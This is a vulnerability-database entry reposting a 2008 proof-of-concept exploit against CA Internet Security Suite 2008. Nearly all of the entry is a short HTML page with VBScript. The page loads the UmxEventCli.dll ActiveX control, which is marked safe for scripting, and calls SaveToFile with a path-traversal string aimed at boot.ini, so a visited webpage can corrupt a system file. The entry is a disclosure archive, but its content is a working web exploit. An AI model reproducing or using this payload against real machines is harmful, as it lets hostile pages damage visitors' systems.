Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:19928
HistoryMay 29, 2008 - 12:00 a.m.

[NSG_28-5-08] CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile()) remote file corruption poc

2008-05-2900:00:00
vulners.com
8

<!–
CA Internet Security Suite 2008 (UmxEventCli.dll/SaveToFile())
remote file corruption poc
by Nine:Situations:Group::surfista

this control is safe for scripting
and safe for initialize

original one: http://retrogod.altervista.org/9sg_CA_poc.html
–>
<html><object classid='clsid:F13D3742-6C4F-4915-BF91-784BA02DD0BE' id='UmxEventCliLib'/>
</object><script language='vbscript'>
filePath="…\…\…\…\…\…\…\boot.ini"
UmxEventCliLib.SaveToFile filePath
</script></html>